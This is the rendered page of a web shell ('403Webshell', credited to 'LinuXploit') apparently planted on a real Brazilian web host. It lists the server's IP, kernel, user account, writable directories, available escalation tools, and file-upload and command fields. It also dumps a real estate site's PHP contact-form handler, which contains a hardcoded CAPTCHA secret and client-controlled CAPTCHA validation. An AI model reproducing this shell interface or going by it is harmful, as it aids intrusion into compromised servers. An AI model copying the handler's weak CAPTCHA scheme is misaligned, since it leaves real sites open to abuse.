403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/painel/front/tema02/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/painel/front/tema02/model/model_fale_conosco.php
<?php
// Habilitar log de erros para depuração
//ini_set('display_errors', 0); // Não exibir erros na página
//ini_set('log_errors', 1); // Ativar log de erros
//ini_set('error_log', '/caminho/para/seu/php_error_log.txt'); // Definir o caminho para o arquivo de log
//error_reporting(E_ALL); // Relatar todos os erros

header('Content-Type: application/json'); // Garante que o cabeçalho seja sempre JSON

$responseArray = array('type' => 'danger', 'message' => 'Erro desconhecido.');

//$rodizio_file = __DIR__ . '/rodizio.txt';
//echo "Caminho do arquivo rodizio.txt: " . $rodizio_file; // Isso mostrará o caminho completo


// Verifica se o método de requisição é POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    try {
        
        // Verifica se todos os campos obrigatórios foram preenchidos
        if (empty($_POST['form_name']) || empty($_POST['form_email']) || empty($_POST['form_phone_cel']) || empty($_POST['form_message'])) {
            throw new Exception('Por favor, preencha todos os campos obrigatórios.');
        }

        if (isset($_POST['g-recaptcha-response'])) {

            if (empty($_POST['g-recaptcha-response'])) {
                // Se o Google reCAPTCHA está ativo, mas não foi marcado
                throw new Exception('Por favor, marque o RECAPTCHA.');
            } else {
                
                // Defina a chave secreta do Google reCAPTCHA
                
                $imob_load = $banco_geral->query('SELECT * FROM configuracoes');
                $config = $imob_load->fetchAll(PDO::FETCH_ASSOC); 
                foreach ($config as $conf) {}
                
                $google = unserialize($conf['sis_script_ganalytics']);

                $chave = $google['sis_script_ganalytics4'];                                            
                $recaptcha_secret = $chave; // Substitua pela sua chave secreta
                $recaptcha_response = $_POST['g-recaptcha-response'];
        
                // Fazer a requisição para o Google reCAPTCHA
                $recaptcha_url = 'https://www.google.com/recaptcha/api/siteverify';
                $recaptcha_data = [
                    'secret' => $recaptcha_secret,
                    'response' => $recaptcha_response
                ];
        
                $options = [
                    'http' => [
                        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
                        'method'  => 'POST',
                        'content' => http_build_query($recaptcha_data)
                    ]
                ];
                $context  = stream_context_create($options);
                $verify = file_get_contents($recaptcha_url, false, $context);
                $captcha_success = json_decode($verify);
        
                // Exibe uma mensagem específica caso o Google reCAPTCHA falhe na validação
                if (!$captcha_success->success) {
                    throw new Exception('Erro de verificação do Google reCAPTCHA. Por favor, tente novamente.');
                }
            }
        } // Verificação do CAPTCHA Padrão
            else {
                // Caso o Google reCAPTCHA não esteja ativo, valida o CAPTCHA padrão
                if (empty($_POST['captcha_input']) || empty($_POST['captcha_hash']) || empty($_POST['validade_captcha']) || empty($_POST['timestamp'])) {
                    throw new Exception('Por favor, insira o código CAPTCHA.');
                }
            
                // Verificar se o tempo do CAPTCHA expirou (timestamp atual > validade)
                $current_time = time();
                if ($current_time > $_POST['validade_captcha']) {
                    throw new Exception('O código CAPTCHA expirou. Por favor, tente novamente.');
                }
            
                // Verificar o hash do CAPTCHA enviado
                $secret_key = 'segredo_forte'; // Mesma chave secreta usada ao gerar o hash
                $captcha_input = $_POST['captcha_input'];
                $captcha_hash = $_POST['captcha_hash'];
            
                // Gerar o hash esperado com base no CAPTCHA digitado pelo usuário
                $expected_hash = hash('sha256', $captcha_input . $secret_key);
            
                // Comparar os hashes
                if ($expected_hash !== $captcha_hash) {
                    throw new Exception('O código CAPTCHA está incorreto.');
                }
            }
        // Verificar a conexão com o banco de dados
        if (!isset($banco_geral)) {
            throw new Exception('Erro de conexão com o banco de dados.');
        }

        // Remover o traço dos números de telefone e celular
        $form_phone = str_replace('-', '', $_POST['form_phone']);
        $form_phone_cel = str_replace('-', '', $_POST['form_phone_cel']);
        
        // Preparar a string que será inserida na coluna "comentario"
        $comentario_completo = "CONTATO" . "\n\nMotivo: " . $_POST['form_motivo'] . "\nComentário: " . $_POST['form_message'];
        
        // Obter corretores com permissões 0, 1, 2, 3
        $query_corretor = $banco_geral->prepare('SELECT id_mestre FROM users WHERE user_permissions IN (0, 1, 2, 3)');
        $query_corretor->execute();
        $corretores = $query_corretor->fetchAll(PDO::FETCH_COLUMN);

        // Verificar se há corretores disponíveis
        if (count($corretores) > 0) {
            // Pegar o corretor atual do rodízio
            $rodizio_file = 'rodizio.txt'; // Arquivo para armazenar o último corretor que recebeu um lead
            if (file_exists($rodizio_file)) {
                $ultimo_corretor = file_get_contents($rodizio_file);
            } else {
                $ultimo_corretor = -1; // Se o arquivo não existir, começar o rodízio
            }
        
            // Determinar o próximo corretor no rodízio
            $proximo_corretor_index = ($ultimo_corretor + 1) % count($corretores);
            $corretor_selecionado = $corretores[$proximo_corretor_index];
        
            // Atualizar o rodízio
            file_put_contents($rodizio_file, $proximo_corretor_index);
        } else {
            // Se não houver corretores disponíveis, buscar o corretor com user_permissions = 0
            $query_corretor_padrao = $banco_geral->prepare('SELECT id_mestre FROM users WHERE user_permissions = 0 LIMIT 1');
            $query_corretor_padrao->execute();
            $corretor_selecionado = $query_corretor_padrao->fetch(PDO::FETCH_COLUMN);
        }

        // Inserir os dados no banco de dados, incluindo os valores fixos para as novas colunas
        $imob_load = $banco_geral->prepare('INSERT INTO proprietarios (perfil_interessado, definicao, nome, nascimento, civil, pais, email, fone, fonecel, comochegou, comentario, conj_nascimento, angariador, cadastradoem, responsavel, statusativo, datafaseatendimento) 
                                            VALUES (:perfil_interessado, :definicao, :nome, :nascimento, :civil, :pais, :email, :fone, :fonecel, :comochegou, :comentario, :conj_nascimento, :angariador, :cadastradoem, :responsavel, :statusativo, :datafaseatendimento)');
        $imob_load->execute([
            ':perfil_interessado' => 1, // Valor fixo para perfil interessado
            ':definicao' => 'Pessoa Física', // Valor fixo para definição
            ':nome' => $_POST['form_name'], // Nome vindo do formulário
            ':nascimento' => date('Y-m-d'), // Data atual no formato Y-m-d
            ':civil' => 'Solteiro', // Valor fixo para estado civil
            ':pais' => 'Brasil', // Valor fixo para país
            ':email' => $_POST['form_email'], // Email vindo do formulário
            ':fone' => $form_phone, // Telefone sem traço
            ':fonecel' => $form_phone_cel, // Celular sem traço
            ':comochegou' => 'Formulário de contato', // Valor fixo para como chegou
            ':comentario' => $comentario_completo, // Envia o motivo + comentário concatenado
            ':conj_nascimento' => date('Y-m-d'), // Data atual no formato Y-m-d
            ':angariador' => $corretor_selecionado, // ID do corretor selecionado
            ':cadastradoem' => date('Y-m-d'), // Data atual no formato Y-m-d
            ':responsavel' => $corretor_selecionado, // ID do corretor selecionado
            ':statusativo' => 'Ativo', // Valor para o status
            ':datafaseatendimento' => date('Y-m-d') // Data atual no formato Y-m-d
        ]);

        // Se a inserção foi bem-sucedida
        $responseArray = array('type' => 'success', 'message' => 'Formulário enviado com sucesso.');
    } catch (PDOException $e) {
        // Captura erros específicos de PDO (Banco de dados)
        error_log("Erro PDO: " . $e->getMessage()); // Log do erro para depuração
        $responseArray = array('type' => 'danger', 'message' => 'Erro ao conectar ou inserir dados no banco.');
    } catch (Exception $e) {
        // Captura outros erros (campos não preenchidos, etc)
        error_log("Erro geral: " . $e->getMessage()); // Log do erro para depuração
        $responseArray = array('type' => 'danger', 'message' => $e->getMessage());
    }

    // Retorna a resposta em JSON
    echo json_encode($responseArray);
    exit;
} else {
    // Se a requisição não for POST, apenas carregue a página normalmente, sem tentar processar o formulário
    //echo json_encode(['type' => 'info', 'message' => 'Carregamento inicial sem envio de formulario.']);
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit